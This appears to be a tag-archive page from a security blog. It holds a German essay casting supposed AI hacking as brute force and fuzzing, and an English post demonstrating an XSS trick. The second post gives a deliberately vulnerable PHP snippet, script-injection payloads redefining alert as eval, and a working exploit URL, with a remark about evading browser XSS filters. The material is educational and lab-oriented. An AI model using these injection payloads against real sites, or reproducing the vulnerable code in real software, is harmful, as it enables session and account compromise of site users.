Schlagwort-Archive: hacking

Künstliche Intelligenz a.k.a. Brute Force

Begriffe, Folklore, Geschäft, Hackmeck, Propaganda, Security, Vulnerability, , , ,

„KI aus Käfig ent- und beim Hacken erwischt!“, schlagzeilte es diese Woche. Den Regeln und Aufmerksamkeitsspannen der Medienmaschinerie folgend, schnatterten und mahnten die üblichen Verdächtigen zweieinhalb Tage lang durcheinander, ohne auf eine Recherche der Einzelheiten hinter den dünnen Berichten zu warten. Ein Mem wurde verstärkt.

Wer der grassierenden Vermenschlichung von Computerprogrammen zu „künstlicher Intelligenz“ und damit einhergehenden Spekulationen nicht zum Opfer gefallen ist, ahnt eine banalere Erklärung: Brute Force. Der Begriff Brute Force, rohe Gewalt, steht in der Informatik für das stumpfsinnige Durchprobieren vieler oder gar aller möglichen Lösungen eines Problems – das Theorem der endlos tippenden Affen in Aktion.

Brute Force kennt die IT-Sicherheit seit jeher als Angriffstaktik, deren Einsatz man erwarten und ggf. vereiteln muss. Geheimnisse wie Passwörter, Session-IDs oder kryptografische Schlüssel können Angreifer versuchen zu raten. Schaffen sie genügend viele Versuche in überschaubarer Zeit und können sie irgendwie erkennen, dass sie richtig geraten haben, winkt ihnen zuverlässig der Erfolg. In einer schwächerer Form probiert der Angreifer so viele Möglichkeiten, wie praktikabel sind, und fängt mit den wahrscheinlichsten Lösungen an, also zum Beispiel mit den am häufigsten benutzten Passwörtern.

Eine modernere, intelligentere Art, die Brute-Force-Taktik einzusetzen, ist das Fuzzing. Beim Fuzzing füttert man Programme mit teilweise zufälligen Eingaben, um Programmierfehler zu finden, die sich bei ungewöhnlichen Eingaben zeigen. Solche Fehler sind beim Programmieren leicht zu übersehen und oft handelt es sich bei diesen Fehlern auch um Sicherheitsprobleme. Die Kunst beim Fuzzing besteht darin, Eingaben nicht komplett zufällig zu wählen, sondern relevante Fehleingaben zu produzieren und alle Teile des Programmcodes zu erreichen. Diese Idee lässt sich weiterentwickeln und Fortschritte in der Sprachverarbeitung helfen gewiss dabei.

Ausdauernd rechnen, ohne zu ermüden, können Computer sehr gut, das ist ihre Kernkompetenz und ein Standbein der KI. Weltweit werden gerade in einem irrsinnigen Ausmaß Rechenzentren errichtet, deren beabsichtigte Leistung man nur noch in Gigawatt Stromverbrauch angibt. Das andere Standbein ist algorithmische Statistik, auch maschinelles Lernen genannt. Ihr Ergebnis verbessert sich mit den eingesetzten Ressourcen – Datenmengen und Rechenleistung – und sie stellt zugleich eine Möglichkeit dar, mit der ganzen Technik überhaupt etwas anzufangen. Ob sich das am Ende rentiert, wissen wir noch nicht.

Sehen wir sogenannte KI nüchtern als Software, die mit einem Übermaß an Rechenressourcen ausgestattet ist, dann ist wahrscheinlich wenig mehr geschehen als eine inkrementelle Weiterentwicklung bekannter Methoden. Der Computer hat herumprobiert und irgendwann etwas gefunden.

Neat XSS Trick

English, Hackmeck, IT, Security, So geht das, Testlabor, , , , , ,

I just learned a neat XSS trick from a blog post by Andy Wingo. This is old news to the more proficient web application testers among my readers, but it was new to me and I like it. I wasn’t aware that one could redirect function calls in JavaScript so easily:

somefunction = otherfunction;

somewhere in a script makes somefunction a reference to otherfunction. This works with functions of the built-in API, too, so any function can become eval:

alert = eval;

or

window.alert = eval;

So if you can inject a small amount of script somewhere, and a function parameter elsewhere, you can turn the function that happens to be called into the eval you need. This PHP fragment illustrates the approach:

<?php
// XSS vulnerability limited to 35 characters
print substr($_GET["inject1"], 0, 35);
?>

<script>
// URL parameter goes into a seemingly harmless function - which we
// can redefine to become eval
<?php $alertparam = htmlspecialchars(addslashes($_GET["inject2"]), ENT_COMPAT ); ?>
alert('<?=$alertparam?>');
</script>

The first PHP block allows up to 35 characters to be injected into the page unfiltered through the inject1 URL parameter, just enough to add to the page this statement:

<script>alert=eval;</script>

or

<script>window.alert=eval;</script>

The second block embeds the value of the inject2 URL parameter in JavaScript as the parameter of alert() after some (imperfect) escaping. This one has unlimited length but goes into a seemingly harmless function – until somebody exchanges the function behind the identifier alert.

To see it work, put the PHP code on your web server and call it with a URL like this:

xss.php?inject1=<script>window.alert=eval;</script>&inject2=prompt('Did you expect this? (Yes/No)');

This works fine with Firefox 9 and, if XSS filter is disabled, IE 9. Safari 5.1.2 silently blocks the exploit, telling me about it only in debug mode. If you really need to, you’ll probably find an evasion technique against client-side XSS filters. IE seems to need window.alert, while Firefox is happy with just alert in inject1.